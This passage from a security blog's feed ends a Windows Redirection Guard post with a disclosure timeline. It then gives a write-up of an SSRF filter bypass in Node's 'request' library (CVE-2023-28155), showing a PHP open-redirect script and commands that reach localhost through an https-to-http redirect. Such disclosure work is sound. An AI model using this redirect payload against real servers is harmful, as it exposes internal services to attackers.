            &lt;span class=&quot;n&quot;&gt;processes&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;emplace_back&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;std&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;wstring&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pe32&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;szExeFile&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;AutoHandle&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;h&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;CloseHandle&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;));&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;while&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Process32Next&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;snapshot&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;get&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(),&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pe32&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;));&lt;/span&gt;

    &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;processes&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;main&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;auto&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;runningProcesses&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;getRunningProcesses&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;

    &lt;span class=&quot;n&quot;&gt;PROCESS_MITIGATION_REDIRECTION_TRUST_POLICY&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;policy&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;

    &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;auto&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;process&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;runningProcesses&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;auto&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;result&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;GetProcessMitigationPolicy&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;process&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;second&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;get&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(),&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ProcessRedirectionTrustPolicy&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;policy&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;sizeof&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;policy&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;));&lt;/span&gt;

        &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;result&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;policy&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;AuditRedirectionTrust&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;|&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;policy&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;EnforceRedirectionTrust&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;|&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;policy&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Flags&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
            &lt;span class=&quot;n&quot;&gt;printf&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;%ws:&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;process&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;first&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;c_str&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;());&lt;/span&gt;
            &lt;span class=&quot;n&quot;&gt;printf&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\t&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;AuditRedirectionTrust: % d&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n\t&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;EnforceRedirectionTrust : % d&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n\t&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;Flags : % d&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;policy&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;AuditRedirectionTrust&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;policy&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;EnforceRedirectionTrust&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;policy&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Flags&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The Redirection Guard should prevent an entire class of junction attacks and might significantly complicate local privilege escalation attacks. While it addresses the previously mentioned issue, it also addresses other types of installer bugs, such as when a privileged installer moves files from user-controlled directories.&lt;/p&gt;

&lt;h4 id=&quot;microsoft-disclosure-timeline&quot;&gt;Microsoft Disclosure Timeline&lt;/h4&gt;

&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Status&lt;/th&gt;
      &lt;th&gt;Data&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;Vulnerability reported to Microsoft&lt;/td&gt;
      &lt;td&gt;9 Oct 2022&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Vulnerability accepted&lt;/td&gt;
      &lt;td&gt;4 Nov 2022&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Patch developed&lt;/td&gt;
      &lt;td&gt;10 Jan 2023&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Patch released&lt;/td&gt;
      &lt;td&gt;14 Feb 2023&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;
</content>
 </entry>
 
 <entry>
   <title>SSRF Cross Protocol Redirect Bypass</title>
   <link href="https://blog.doyensec.com/2023/03/16/ssrf-remediation-bypass.html"/>
   <updated>2023-03-16T00:00:00+01:00</updated>
   <id>https://blog.doyensec.com/2023/03/16/ssrf-remediation-bypass</id>
   <content type="html">&lt;p&gt;Server Side Request Forgery (SSRF) is a &lt;a href=&quot;https://portswigger.net/web-security/ssrf&quot;&gt;fairly known vulnerability&lt;/a&gt; with established prevention methods. So imagine my surprise when I bypassed an SSRF mitigation during a routine retest. Even worse, &lt;strong&gt;I have bypassed a filter that we have recommended ourselves&lt;/strong&gt;! I couldn’t let it slip and had to get to the bottom of the issue.&lt;/p&gt;

&lt;h1 id=&quot;introduction&quot;&gt;Introduction&lt;/h1&gt;

&lt;p&gt;Server Side Request Forgery is a vulnerability in which a malicious actor exploits a victim server to perform HTTP(S) requests on the attacker’s behalf. Since the server usually has access to the internal network, this attack is useful to bypass firewalls and IP whitelists to access hosts otherwise inaccessible to the attacker.&lt;/p&gt;

&lt;h1 id=&quot;request-library-vulnerability&quot;&gt;Request Library Vulnerability&lt;/h1&gt;

&lt;p&gt;SSRF attacks can be prevented with address filtering, assuming there are no filter bypasses. One of the classic SSRF filtering bypass techniques is a redirection attack. In these attacks, an attacker sets up a malicious webserver serving an endpoint redirecting to an internal address. The victim server properly allows sending a request to an external server, but then blindly follows a malicious redirection to an internal service.&lt;/p&gt;

&lt;p&gt;None of above is new, of course. All of these techniques have been around for years and any reputable anti-SSRF library mitigates such risks. And yet, I have bypassed it.&lt;/p&gt;

&lt;p&gt;Client’s code was a simple endpoint created for integration. During the original engagement there was no filtering at all. After our test the client has applied an anti-SSRF library &lt;a href=&quot;https://www.npmjs.com/package/ssrf-req-filter&quot;&gt;ssrfFilter&lt;/a&gt;. For the research and code anonymity  purposes, I have extracted the logic to a standalone NodeJS script:&lt;/p&gt;

&lt;div class=&quot;language-javascript highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kd&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;request&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;require&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;request&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;kd&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;ssrfFilter&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;require&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;ssrf-req-filter&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;

&lt;span class=&quot;kd&quot;&gt;let&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;url&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;process&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;argv&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;];&lt;/span&gt;
&lt;span class=&quot;nx&quot;&gt;console&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;log&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;Testing&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;url&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;

&lt;span class=&quot;nx&quot;&gt;request&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;({&lt;/span&gt;
    &lt;span class=&quot;na&quot;&gt;uri&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;url&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;na&quot;&gt;agent&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;ssrfFilter&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;url&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;},&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;error&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;response&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;body&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;nx&quot;&gt;console&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;error&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;error:&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;error&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;nx&quot;&gt;console&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;log&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;statusCode:&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;response&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;response&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;statusCode&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;});&lt;/span&gt;

&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;To verify a redirect bypasss I have created a simple webserver with an open-redirect endpoint in PHP and hosted it on the Internet using my test domain &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;tellico.fun&lt;/code&gt;:&lt;/p&gt;
&lt;div class=&quot;language-php highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;cp&quot;&gt;&amp;lt;?php&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;header&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'Location: '&lt;/span&gt;&lt;span class=&quot;mf&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$_GET&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;target&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]);&lt;/span&gt; &lt;span class=&quot;cp&quot;&gt;?&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Initial test demonstrates that the vulnerability is fixed:&lt;/p&gt;
&lt;div class=&quot;language-sh highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;node test-request.js &lt;span class=&quot;s2&quot;&gt;&quot;http://tellico.fun/redirect.php?target=http://localhost/test&quot;&lt;/span&gt; 
Testing http://tellico.fun/redirect.php?target&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;http://localhost/test
error: Error: Call to 127.0.0.1 is blocked.
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;But then, I switched the protocol and suddenly I was able to access a localhost service again. Readers should look carefully at the payload, as the difference is minimal:&lt;/p&gt;

&lt;div class=&quot;language-sh highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;node test-request.js &lt;span class=&quot;s2&quot;&gt;&quot;https://tellico.fun/redirect.php?target=http://localhost/test&quot;&lt;/span&gt;
Testing https://tellico.fun/redirect.php?target&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;http://localhost/test
error: null
statusCode: 200
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;What happened? The attacker server has redirected the request to another protocol - from HTTPS to HTTP. This is all it took to bypass the anti-SSRF protection.&lt;/p&gt;

&lt;p&gt;Why is that? After some digging in the popular &lt;a href=&quot;https://www.npmjs.com/package/request&quot;&gt;request&lt;/a&gt; library codebase, I have discovered the following lines in the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;lib/redirect.js&lt;/code&gt; file:&lt;/p&gt;

&lt;div class=&quot;language-javascript highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;  &lt;span class=&quot;c1&quot;&gt;// handle the case where we change protocol from https to http or vice versa&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;request&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;uri&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;protocol&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;!==&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;uriPrev&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;protocol&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;delete&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;request&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;agent&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;According to the code above, anytime the redirect causes a protocol switch, the request agent is deleted. Without this workaround, the client would fail anytime a server would cause a cross-protocol redirect. This is needed since the native NodeJs &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;http(s).agent&lt;/code&gt; cannot be used with both protocols.&lt;/p&gt;

&lt;p&gt;Unfortunately, such behavior also loses any event handling associated with the agent. Given, that the SSRF prevention is based on the agents’ &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;createConnection&lt;/code&gt; event handler, this unexpected behavior affects the effectiveness of SSRF mitigation strategies in the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;request&lt;/code&gt; library.&lt;/p&gt;

&lt;h2 id=&quot;disclosure&quot;&gt;Disclosure&lt;/h2&gt;

&lt;p&gt;This issue was disclosed to the maintainers on December 5th, 2022. Despite our best attempts, we have not yet received an acknowledgment. After the 90-days mark, we have decided to publish the &lt;a href=&quot;https://doyensec.com/resources/Doyensec_Advisory_RequestSSRF_Q12023.pdf&quot;&gt;full technical details&lt;/a&gt; as well as a public Github &lt;a href=&quot;https://github.com/request/request/issues/3442&quot;&gt;issue&lt;/a&gt; linked to a &lt;a href=&quot;https://github.com/request/request/pull/3444&quot;&gt;pull request&lt;/a&gt; for the fix. On March 14th, 2023, a CVE ID has been assigned to this vulnerability.&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;12/05/2022 - First disclosure to the maintainer&lt;/li&gt;
  &lt;li&gt;01/18/2023 - Another attempt to contact the maintainer&lt;/li&gt;
  &lt;li&gt;03/08/2023 - A &lt;a href=&quot;https://github.com/request/request/issues/3442&quot;&gt;Github issue&lt;/a&gt; creation, without the technical details&lt;/li&gt;
  &lt;li&gt;03/13/2023 - CVE-2023-28155 assigned&lt;/li&gt;
  &lt;li&gt;03/16/2023 - Full technical details disclosure&lt;/li&gt;
&lt;/ul&gt;

&lt;h1 id=&quot;other-libraries&quot;&gt;Other Libraries&lt;/h1&gt;

&lt;p&gt;Since supposedly universal filter turned out to be so dependent on the implementation of the HTTP(S) clients, it is natural to ask how other popular libraries handle these cases.&lt;/p&gt;

&lt;h2 id=&quot;node-fetch&quot;&gt;Node-Fetch&lt;/h2&gt;

&lt;p&gt;The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;node-Fetch&lt;/code&gt; library also allows to overwrite an HTTP(S) agent within its options, without specifying the protocol:&lt;/p&gt;

&lt;div class=&quot;language-javascript highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kd&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;ssrfFilter&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;require&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;ssrf-req-filter&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;kd&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;fetch&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(...&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;args&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;import&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;node-fetch&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;).&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;then&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(({&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;default&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;fetch&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;})&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;fetch&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(...&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;args&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;));&lt;/span&gt;

&lt;span class=&quot;kd&quot;&gt;let&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;url&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;process&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;argv&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;];&lt;/span&gt;
&lt;span class=&quot;nx&quot;&gt;console&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;log&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;Testing&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;url&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;

&lt;span class=&quot;nx&quot;&gt;fetch&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;url&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;na&quot;&gt;agent&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;ssrfFilter&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;url&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}).&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;then&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;((&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;response&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
